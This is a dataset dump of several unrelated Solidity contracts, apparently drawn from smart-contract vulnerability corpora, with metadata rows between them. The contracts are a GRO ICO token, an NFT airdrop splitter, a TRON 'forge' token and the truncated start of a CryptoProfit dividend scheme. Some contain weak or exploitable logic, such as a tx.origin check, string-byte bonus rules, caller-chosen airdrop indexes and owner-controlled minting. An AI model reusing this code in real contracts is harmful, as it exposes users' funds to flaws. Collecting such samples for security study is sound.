// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
function approve(address _spender, uint256 _value) public onlyPayloadSize(2) returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function changeApproval(address _spender, uint256 _oldValue, uint256 _newValue) public onlyPayloadSize(3) returns (bool success) {
require(allowed[msg.sender][_spender] == _oldValue);
allowed[msg.sender][_spender] = _newValue;
Approval(msg.sender, _spender, _newValue);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract GRO is StandardToken {
// FIELDS
string public name = "Gron Digital";
string public symbol = "GRO";
uint256 public decimals = 18;
string public version = "9.0";
uint256 public tokenCap = 950000000 * 10**18;
// crowdsale parameters
uint256 public fundingStartBlock;
uint256 public fundingEndBlock;
// vesting fields
address public vestingContract;
bool private vestingSet = false;
// root control
address public fundWallet;
// control of liquidity and limited control of updatePrice
address public controlWallet;
// time to wait between controlWallet price updates
uint256 public waitTime = 5 hours;
// fundWallet controlled state variables
// halted: halt buying due to emergency, tradeable: signal that GRON platform is up and running
bool public halted = false;
bool public tradeable = false;
// -- totalSupply defined in StandardToken
// -- mapping to token balances done in StandardToken
uint256 public previousUpdateTime = 0;
Price public currentPrice;
uint256 public minAmount = 0.05 ether; // 500 GRO
// map participant address to a withdrawal request
mapping (address => Withdrawal) public withdrawals;
// maps previousUpdateTime to the next price
mapping (uint256 => Price) public prices;
// maps addresses
mapping (address => bool) public whitelist;
// TYPES
struct Price { // tokensPerEth
uint256 numerator;
}
struct Withdrawal {
uint256 tokens;
uint256 time; // time for each withdrawal is set to the previousUpdateTime
}
// EVENTS
event Buy(address indexed participant, address indexed beneficiary, uint256 weiValue, uint256 amountTokens);
event AllocatePresale(address indexed participant, uint256 amountTokens);
event BonusAllocation(address indexed participant, string participant_addr, uint256 bonusTokens);
event Whitelist(address indexed participant);
event PriceUpdate(uint256 numerator);
event AddLiquidity(uint256 ethAmount);
event RemoveLiquidity(uint256 ethAmount);
event WithdrawRequest(address indexed participant, uint256 amountTokens);
event Withdraw(address indexed participant, uint256 amountTokens, uint256 etherAmount);
// MODIFIERS
modifier isTradeable { // exempt vestingContract and fundWallet to allow dev allocations
require(tradeable || msg.sender == fundWallet || msg.sender == vestingContract);
_;
}
modifier onlyWhitelist {
require(whitelist[msg.sender]);
_;
}
modifier onlyFundWallet {
require(msg.sender == fundWallet);
_;
}
modifier onlyManagingWallets {
require(msg.sender == controlWallet || msg.sender == fundWallet);
_;
}
modifier only_if_controlWallet {
if (msg.sender == controlWallet) _;
}
modifier require_waited {
require(safeSub(currentTime(), waitTime) >= previousUpdateTime);
_;
}
modifier only_if_decrease (uint256 newNumerator) {
if (newNumerator < currentPrice.numerator) _;
}
// CONSTRUCTOR
function GRO() public {
fundWallet = msg.sender;
whitelist[fundWallet] = true;
previousUpdateTime = currentTime();
}
// Called after deployment
// Not all deployment clients support constructor arguments.
// This function is provided for maximum compatibility.
function initialiseContract(address controlWalletInput, uint256 priceNumeratorInput, uint256 startBlockInput, uint256 endBlockInput) external onlyFundWallet {
require(controlWalletInput != address(0));
require(priceNumeratorInput > 0);
require(endBlockInput > startBlockInput);
controlWallet = controlWalletInput;
whitelist[controlWallet] = true;
currentPrice = Price(priceNumeratorInput);
fundingStartBlock = startBlockInput;
fundingEndBlock = endBlockInput;
previousUpdateTime = currentTime();
}
// METHODS
function setVestingContract(address vestingContractInput) external onlyFundWallet {
require(vestingContractInput != address(0));
vestingContract = vestingContractInput;
whitelist[vestingContract] = true;
vestingSet = true;
}
function updatePrice(uint256 newNumerator) external onlyManagingWallets {
require(newNumerator > 0);
require_limited_change(newNumerator);
// either controlWallet command is compliant or transaction came from fundWallet
currentPrice.numerator = newNumerator;
// maps time to new Price (if not during ICO)
prices[previousUpdateTime] = currentPrice;
previousUpdateTime = currentTime();
PriceUpdate(newNumerator);
}
function require_limited_change (uint256 newNumerator)
private
view
only_if_controlWallet
require_waited
only_if_decrease(newNumerator)
{
uint256 percentage_diff = 0;
percentage_diff = safeMul(newNumerator, 100) / currentPrice.numerator;
percentage_diff = safeSub(100, percentage_diff);
// controlWallet can only increase price by max 20% and only every waitTime
require(percentage_diff <= 20);
}
function allocateTokens(address participant, uint256 amountTokens) private {
require(vestingSet);
// 40% of total allocated for Founders, Team incentives & Bonuses.
// Solidity v0.4.18 - floating point is not fully supported,
// so often integer division results in truncated values.
// Therefore we are multiplying out by 1000000 for
// precision. This allows ratios values up to 0.0000x or 0.00x percent
uint256 precision = 10**18;
uint256 allocationRatio = safeMul(amountTokens, precision) / 570000000;
uint256 developmentAllocation = safeMul(allocationRatio, 380000000) / precision;
// check that token cap is not exceeded
uint256 newTokens = safeAdd(amountTokens, developmentAllocation);
require(safeAdd(totalSupply, newTokens) <= tokenCap);
// increase token supply, assign tokens to participant
totalSupply = safeAdd(totalSupply, newTokens);
balances[participant] = safeAdd(balances[participant], amountTokens);
balances[vestingContract] = safeAdd(balances[vestingContract], developmentAllocation);
}
function allocatePresaleTokens(address participant_address,
string participant_str,
uint256 amountTokens,
string txnHash)
external onlyFundWallet {
require(currentBlock() < fundingEndBlock);
require(participant_address != address(0));
uint256 bonusTokens = 0;
uint256 totalTokens = amountTokens;
if (firstDigit(txnHash) == firstDigit(participant_str)) {
// Calculate 10% bonus
bonusTokens = safeMul(totalTokens, 10) / 100;
totalTokens = safeAdd(totalTokens, bonusTokens);
}
whitelist[participant_address] = true;
allocateTokens(participant_address, totalTokens);
Whitelist(participant_address);
AllocatePresale(participant_address, totalTokens);
BonusAllocation(participant_address, participant_str, bonusTokens);
}
// returns the first character as a byte in a given string address
// Given 0x1abcd... returns 1
function firstDigit(string s) pure public returns(byte){
bytes memory strBytes = bytes(s);
return strBytes[2];
}
function verifyParticipant(address participant) external onlyManagingWallets {
whitelist[participant] = true;
Whitelist(participant);
}
function buy() external payable {
buyTo(msg.sender);
}
function buyTo(address participant) public payable onlyWhitelist {
require(!halted);
require(participant != address(0));
require(msg.value >= minAmount);
require(currentBlock() >= fundingStartBlock && currentBlock() < fundingEndBlock);
// msg.value in wei - scale to ether after applying price numerator
uint256 tokensToBuy = safeMul(msg.value, currentPrice.numerator) / (1 ether);
allocateTokens(participant, tokensToBuy);
// send ether to fundWallet
fundWallet.transfer(msg.value);
Buy(msg.sender, participant, msg.value, tokensToBuy);
}
// time based on blocknumbers, assuming a blocktime of 15s
function icoNumeratorPrice() public constant returns (uint256) {
uint256 icoDuration = safeSub(currentBlock(), fundingStartBlock);
uint256 numerator;
uint256 firstBlockPhase = 80640; // #blocks = 2*7*24*60*60/15 = 80640
uint256 secondBlockPhase = 161280; // // #blocks = 4*7*24*60*60/15 = 161280
uint256 thirdBlockPhase = 241920; // // #blocks = 6*7*24*60*60/15 = 241920
//uint256 fourthBlock = 322560; // #blocks = Greater Than thirdBlock
if (icoDuration < firstBlockPhase) {
numerator = 13000;
return numerator;
} else if (icoDuration < secondBlockPhase) {
numerator = 12000;
return numerator;
} else if (icoDuration < thirdBlockPhase) {
numerator = 11000;
return numerator;
} else {
numerator = 10000;
return numerator;
}
}
function currentBlock() private constant returns(uint256 _currentBlock) {
return block.number;
}
function currentTime() private constant returns(uint256 _currentTime) {
return now;
}
function requestWithdrawal(uint256 amountTokensToWithdraw) external isTradeable onlyWhitelist {
require(currentBlock() > fundingEndBlock);
require(amountTokensToWithdraw > 0);
address participant = msg.sender;
require(balanceOf(participant) >= amountTokensToWithdraw);
require(withdrawals[participant].tokens == 0); // participant cannot have outstanding withdrawals
balances[participant] = safeSub(balances[participant], amountTokensToWithdraw);
withdrawals[participant] = Withdrawal({tokens: amountTokensToWithdraw, time: previousUpdateTime});
WithdrawRequest(participant, amountTokensToWithdraw);
}
function withdraw() external {
address participant = msg.sender;
uint256 tokens = withdrawals[participant].tokens;
require(tokens > 0); // participant must have requested a withdrawal
uint256 requestTime = withdrawals[participant].time;
// obtain the next price that was set after the request
Price price = prices[requestTime];
require(price.numerator > 0); // price must have been set
uint256 withdrawValue = safeMul(tokens, price.numerator);
// if contract ethbal > then send + transfer tokens to fundWallet, otherwise give tokens back
withdrawals[participant].tokens = 0;
if (this.balance >= withdrawValue)
enact_withdrawal_greater_equal(participant, withdrawValue, tokens);
else
enact_withdrawal_less(participant, withdrawValue, tokens);
}
function enact_withdrawal_greater_equal(address participant, uint256 withdrawValue, uint256 tokens)
private
{
assert(this.balance >= withdrawValue);
balances[fundWallet] = safeAdd(balances[fundWallet], tokens);
participant.transfer(withdrawValue);
Withdraw(participant, tokens, withdrawValue);
}
function enact_withdrawal_less(address participant, uint256 withdrawValue, uint256 tokens)
private
{
assert(this.balance < withdrawValue);
balances[participant] = safeAdd(balances[participant], tokens);
Withdraw(participant, tokens, 0); // indicate a failed withdrawal
}
function checkWithdrawValue(uint256 amountTokensToWithdraw) public constant returns (uint256 etherValue) {
require(amountTokensToWithdraw > 0);
require(balanceOf(msg.sender) >= amountTokensToWithdraw);
uint256 withdrawValue = safeMul(amountTokensToWithdraw, currentPrice.numerator);
require(this.balance >= withdrawValue);
return withdrawValue;
}
// allow fundWallet or controlWallet to add ether to contract
function addLiquidity() external onlyManagingWallets payable {
require(msg.value > 0);
AddLiquidity(msg.value);
}
// allow fundWallet to remove ether from contract
function removeLiquidity(uint256 amount) external onlyManagingWallets {
require(amount <= this.balance);
fundWallet.transfer(amount);
RemoveLiquidity(amount);
}
function changeFundWallet(address newFundWallet) external onlyFundWallet {
require(newFundWallet != address(0));
fundWallet = newFundWallet;
}
function changeControlWallet(address newControlWallet) external onlyFundWallet {
require(newControlWallet != address(0));
controlWallet = newControlWallet;
}
function changeWaitTime(uint256 newWaitTime) external onlyFundWallet {
waitTime = newWaitTime;
}
function updateFundingStartBlock(uint256 newFundingStartBlock) external onlyFundWallet {
require(currentBlock() < fundingStartBlock);
require(currentBlock() < newFundingStartBlock);
fundingStartBlock = newFundingStartBlock;
}
function updateFundingEndBlock(uint256 newFundingEndBlock) external onlyFundWallet {
require(currentBlock() < fundingEndBlock);
require(currentBlock() < newFundingEndBlock);
fundingEndBlock = newFundingEndBlock;
}
function halt() external onlyFundWallet {
halted = true;
}
function unhalt() external onlyFundWallet {
halted = false;
}
function enableTrading() external onlyFundWallet {
require(currentBlock() > fundingEndBlock);
tradeable = true;
}
// fallback function
function() payable public {
require(tx.origin == msg.sender);
buyTo(msg.sender);
}
function claimTokens(address _token) external onlyFundWallet {
require(_token != address(0));
Token token = Token(_token);
uint256 balance = token.balanceOf(this);
token.transfer(fundWallet, balance);
}
// prevent transfers until trading allowed
function transfer(address _to, uint256 _value) public isTradeable returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public isTradeable returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
| 136,178 | 683 |
22a3ed3c27ec4434e77d413c08a720fe90ef774c1c1ef51707e6ff9537df7294
| 28,947 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/e8/e88738d0d5E7DA8D6FBD5257807644722246Ba73_AirdropWPatch.sol
| 3,147 | 13,090 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
}
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
mapping(IERC20 => uint256) private _erc20TotalReleased;
mapping(IERC20 => mapping(address => uint256)) private _erc20Released;
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
function totalShares() public view returns (uint256) {
return _totalShares;
}
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
function totalReleased(IERC20 token) public view returns (uint256) {
return _erc20TotalReleased[token];
}
function shares(address account) public view returns (uint256) {
return _shares[account];
}
function released(address account) public view returns (uint256) {
return _released[account];
}
function released(IERC20 token, address account) public view returns (uint256) {
return _erc20Released[token][account];
}
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + totalReleased();
uint256 payment = _pendingPayment(account, totalReceived, released(account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] += payment;
_totalReleased += payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
function release(IERC20 token, address account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token);
uint256 payment = _pendingPayment(account, totalReceived, released(token, account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_erc20Released[token][account] += payment;
_erc20TotalReleased[token] += payment;
SafeERC20.safeTransfer(token, account, payment);
emit ERC20PaymentReleased(token, account, payment);
}
function _pendingPayment(address account,
uint256 totalReceived,
uint256 alreadyReleased) private view returns (uint256) {
return (totalReceived * _shares[account]) / _totalShares - alreadyReleased;
}
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
interface IManager is IERC721 {
function getMintOf(uint256 _id) external view returns (uint64);
}
interface IGate {
function getArmiesOf(address account) view external returns(uint[] memory);
}
contract AirdropWPatch is PaymentSplitter {
IManager manager;
IGate gate;
IERC20 token;
mapping(uint => bool) _processed;
uint public airdropStart = block.timestamp;
constructor(address[] memory _payees, uint256[] memory _shares, address _manager, address _token, address _gate) PaymentSplitter(_payees, _shares) {
manager = IManager(_manager);
token = IERC20(_token);
gate = IGate(_gate);
}
function airdropMeAll(uint index, uint amount) external {
uint[] memory _ids = gate.getArmiesOf(msg.sender);
uint reward = 0;
for (uint256 i = index; i < amount; i++) {
require(!_processed[_ids[i]], "Airdrop: NFTs already proccessed !");
uint _mint = manager.getMintOf(_ids[i]);
require(_mint <= airdropStart, "Airdrop: Your NFTs");
reward += 5 * 10 ** 17;
_processed[_ids[i]] = true;
}
token.transfer(msg.sender, reward);
}
}
| 96,263 | 684 |
ae2b6f80a5d3f21eb732e702e9b0825e47e8f01416ca6f149026bc6943fe46c1
| 10,626 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TG/TGmPDUEGrdrq2Lf23U8xTckNRRU8pxmZEf_PHCToken.sol
| 2,778 | 9,642 |
//SourceUnit: token.sol
pragma solidity ^0.4.24;
contract Owned {
address public owner;
address public oldOwner;
uint public tokenId = 1002567;
uint lastChangedOwnerAt;
constructor() {
owner = msg.sender;
oldOwner = owner;
}
modifier isOwner() {
require(msg.sender == owner);
_;
}
modifier isOldOwner() {
require(msg.sender == oldOwner);
_;
}
modifier sameOwner() {
address addr = msg.sender;
// Ensure that the address is a contract
uint size;
assembly { size := extcodesize(addr) }
require(size > 0);
// Ensure that the contract's parent is
Owned own = Owned(addr);
require(own.owner() == owner);
_;
}
// Be careful with this option!
function changeOwner(address newOwner) isOwner {
lastChangedOwnerAt = now;
oldOwner = owner;
owner = newOwner;
}
// Allow a revert to old owner ONLY IF it has been less than a day
function revertOwner() isOldOwner {
require(oldOwner != owner);
require((now - lastChangedOwnerAt) * 1 seconds < 86400);
owner = oldOwner;
}
}
contract ForgableToken is Owned {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
/// @return Whether the forging was successful or not
// Forge specific properties that need to be included in the contract
function forge() external payable returns (bool success) {}
function maxForge() public view returns (uint256 amount) {}
function maxConversionRate() constant returns (uint256 best_price) {}
function timeToForge(address addr) public view returns (uint256 time) {}
function forgePrice() public view returns (uint256 price) {}
function smithCount() constant returns (uint256 count) {}
function smithFee() constant returns (uint256 fee) {}
function canSmith() public view returns (bool able) {}
function totalWRLD() constant returns (uint256 wrld) {}
function firstMint() constant returns (uint256 date) {}
function lastMint() constant returns (uint256 date) {}
function paySmithingFee() public payable returns (bool fee) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Forged(address indexed _to, uint _cost, uint _amt);
event NewSmith(address indexed _address, uint _fee);
}
// Health Coin
contract PHCToken is ForgableToken {
address creator;
constructor() {
totalSupply = 1000000000000; // Start with one million tokens...
name = "Public Health Coin";
symbol = "PHC";
deciminals = 6;
sendTo = msg.sender;
creator = msg.sender;
emit Forged(msg.sender, 0, totalSupply);
emit Transfer(this, msg.sender, totalSupply);
balances[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
string public name;
string public symbol;
uint8 public deciminals;
// Returns the maximum amount of WRLD that can be sent to mint new tokens
function maxForge() public view returns (uint256) {
if (totalWRLD / 1000 < 100000000000) return 100000000000;
return totalWRLD / 1000;
}
// Returns the number of seconds until the user can mint tokens again
function timeToForge(address addr) public view returns (uint256) {
uint256 dif = (now - lastMinted[addr]);
if (dif > 3600) return 0;
return 3600 - dif;
}
// Mints new tokens based on how many tokens have already been minted
// Tempted to require a minting fee...
function forge() external payable returns (bool success) {
// Limit minting rate to the greater of 0.1% of the amount of WRLD frozen so far or 100,000 WRLD
require(msg.tokenid == tokenId && (msg.tokenvalue <= 100000000000 || msg.tokenvalue <= totalWRLD / 1000));
require(msg.sender == owner || paid[msg.sender]);
// Only let a person mint once per hour
require(now - lastMinted[msg.sender] > 3600);
uint256 start = now;
// Calculate the amount of token to be minted. Make sure that there's no chance of overflow!
uint256 amt = msg.tokenvalue / _calculateCost(start);
// Freeze WRLD
sendTo.transferToken(tokenId, msg.tokenvalue);
// Mint tokens
totalSupply += amt;
emit Forged(msg.sender, msg.tokenvalue, amt);
// Send them to the minter
balances[msg.sender] += amt;
emit Transfer(this, msg.sender, amt);
lastMinted[msg.sender] = start;
if (firstMint == 0) firstMint = start;
lastMint = start;
return true;
}
// Base Minting
// This function will allow a cetain number of tokens to be minted to fund this effort.
uint256 public lastOwnerMint;
uint8 public remaining = 24;
function ownerMint() isOwner returns (bool success) {
uint256 start = now;
if (start - lastOwnerMint > 2592000) {
lastOwnerMint = start;
uint256 amt = (totalSupply * remaining) / 2400;
totalSupply += amt;
emit Forged(owner, 0, amt);
if (remaining > 1) remaining -= 1;
balances[owner] += amt;
emit Transfer(this, owner, amt);
return true;
}
return false;
}
// Get the current conversion rate
function _calculateCost(uint256 _now) internal returns (uint256) {
if (firstMint == 0) return maxConversionRate;
uint256 time1 = (_now - firstMint);
uint256 time2 = (_now - lastMint);
uint256 conv = time1 / (time2 * time2 + 1);
if (conv == 0) conv = 1; // Don't let people forge for free!
if (conv > 100) conv = 100;
return maxConversionRate * conv;
}
// Price to mint one ARC token
function forgePrice() public view returns (uint256) {
return _calculateCost(now);
}
function changeSendTo(address newAddr) public {
require(msg.sender == creator && (sendTo == creator || (now - setAt) < 604800));
setAt = now;
sendTo = newAddr;
}
function canSmith(address addr) public view returns (bool) {
return addr == owner || paid[msg.sender];
}
function canSmith() public view returns (bool) {
return canSmith(msg.sender);
}
function paySmithingFee() public payable returns (bool success) {
if (paid[msg.sender] || msg.value != smithFee || msg.sender == owner) return false;
owner.transfer(msg.value);
// Every ten smiths increases the smith fee by 100 TRX
if (smithFee < 1000000000 && (smithCount + 1) % 10 == 0) smithFee += 100000000;
smithCount++;
paid[msg.sender] = true;
emit NewSmith(msg.sender, msg.value);
return true;
}
mapping (address => uint256) public lastMinted;
mapping (address => bool) public paid;
uint256 public smithCount;
uint256 public smithFee = 10000000;
uint256 public maxConversionRate = 10; // 10 WRLD = 1 ARC
uint256 public totalWRLD; // Total amount of world used to mint
uint256 public firstMint; // Date of the first minting
uint256 public lastMint; // Date of most recent minting
address public sendTo;
uint256 setAt;
}
| 298,754 | 685 |
3b3e464717ecb2f0325b3317f7a9a012b7977af89a473c471e008c36cebdcf3b
| 12,526 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xdc0c33a4c10dfdca03e583107eb5520555c86f9e.sol
| 3,276 | 11,875 |
pragma solidity ^0.4.25;
contract CryptoProfit {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "CryptoProfit";
string public symbol = "CRP";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 4;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 10;
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
